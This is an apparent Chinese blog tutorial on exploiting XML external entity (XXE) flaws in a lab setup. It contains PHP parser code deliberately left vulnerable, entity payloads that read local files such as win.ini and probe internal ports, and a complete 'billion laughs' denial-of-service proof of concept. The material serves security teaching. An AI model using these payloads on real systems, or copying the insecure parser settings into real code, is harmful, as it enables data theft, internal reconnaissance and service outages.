XXE利用(2)--漏洞实现

XXE前置要求

只有知道开发时如何生成,传输,使用XML文件才能够知道如何进行漏洞利用,代码审计,以及防范。


php生成XML文件

目标将前端提交数据到后端来进行生成XML


前端登录测试页面
<?php
header('Content-Type: text/xml;');
$dom = new DomDocument('1.0','utf-8');// 创建头部声明
$rootEle = $dom->createElement('userinfo');//创建根节点
$dom->appendChild($rootEle);//追加到DOM对象 
$user = $_POST['user'];//追加元素 
$userNode = $dom->createTextNode($user);
$line = $dom->createElement('user');//创建元素 
$line->appendChild($userNode);
$rootEle->appendChild($line);//追加元素 
$pass = $_POST['password'];//追加元素 
$passNode = $dom->createTextNode($pass);
$line = $dom->createElement('password');//创建元素 
$line->appendChild($passNode);
$rootEle->appendChild($line);//追加元素 
$str = $dom->saveXML();//保存 
echo $str;
?>

通过POST关键数据user和password到后端,进行php生成xml
例如post数据 user : test password : 123456

成功生成XML文件,并成功显示

XML数据传输至后端解析

提交XML实体执行

将xml代码通过留言板的方式提交至后端,成功执行DTD中声明的实体

<?php
libxml_disable_entity_loader(false);
$data = isset($_POST['xxe'])?trim($_POST['xxe']):'';
$resp = '';
if($data != false){
    $dom = new DOMDocument();
    $dom->loadXML($data, LIBXML_NOENT);
    ob_start();
    var_dump($dom);
    $resp = ob_get_contents();
        echo $resp;
    ob_end_clean();

}

其中的关键代码libxml_disable_entity_loader(false);允许外部实体加载


XXE漏洞利用

  1. 任意文件读取
    为了能够更好的理解,任意文件读取的意思,我在网站同目录下创建了标志性的txt文本文件
    1.txt文件内容

    通过修改实体内容,修改为<!ENTITY content SYSTEM "./1.txt">
    成功实现了txt文件读取

    为了证明文件读取是可以在网站目录范围外,本次尝试读取非网站内的文件windows系统存在的C:/Windows/win.ini文件。
    通过外部实体读取到关键文件C:/Windows/win.ini
  2. 端口探测
    这个漏洞利用,有点类似与SSRF,通过服务器来进行内网(攻击者未获得授权)的服务器/个人电脑进行端口扫描。
    通过修改实体内容,修改为<!ENTITY content SYSTEM "http://192.168.163.128">来探测80端口
    成功探测到80端口开放

    发现了相关标签,以及html中空格的&nbsp实体的警告,进一步知道该端口有web服务运行。
    8080端口依旧开放

    8888端口未开放

    通过对其他端口的测试也发现了开放与未开放的不同之处。
  3. 执行系统命令
    要通过利用XXE漏洞执行系统命令,需要一定的环境条件,需要安装expect扩展,详细攻击效果可参考加油站资料。


    执行系统命令,环境不存在导致无法执行
  4. 发起Dos攻击(又称为XEE漏洞,XML实体膨胀)
    由于自身Web服务原因,对于该项利用方式,不亲自进行演示,附上如下POC代码,本身原理,就是通过实体的嵌套性使用导致
<?xml version = "1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ELEMENT lolz (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]>
<lolz>&lol9;</lolz>

加油站

  1. 强烈推荐
    腾讯安全应急响应中心发布的 未知攻焉知防——XXE漏洞攻防
    安全客 【技术分享】XXE漏洞攻防之我见
  2. 对Dos攻击方式的详细解答 XXE注入攻击与防御
  3. Freebuf Blind XXE详解与Google CTF一道题分析
  4. AD攻防工作室 Xml 外部实体注入(xxe)
  5. 博客园 XML外部实体(XXE)注入详解

第一篇:XML简介(1)--头部声明
第二篇:XML编写(2)--语法要求
第三篇:XML规范(3)--DTD限制
第四篇:XML引用(4)--DTD应用
第五篇:XXE基础(1)--实体类别
第七篇:XXE后记(3)--抛砖引玉

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • 1. XXE简介 XXE(XML外部实体注入,XML External Entity) ,漏洞在对不安全的外部实体...
    AxisX阅读 4,209评论 0 2
  • *本文中涉及到的相关漏洞已报送厂商并得到修复,本文仅限技术研究与讨论,严禁用于非法用途,否则产生的一切后果自行承担...
    kakaLP阅读 1,422评论 0 2
  • XML简介 本节内容结合了《Web hacking 101》,链接在本文末尾,此书不错,基于hackerone上的...
    jjf012阅读 14,368评论 3 6
  • 1简述 XXE(XML External Entity)是指xml外部实体攻击漏洞。XML外部实体攻击是针对解析X...
    这是什么娃哈哈阅读 6,224评论 0 0
  • 沟通是现代人必备的功课,与家人的沟通,与朋友的沟通,与同事的沟通,甚至与领导的沟通。都需要我们具备一定的基本常识或...
    郭慕洁阅读 386评论 0 0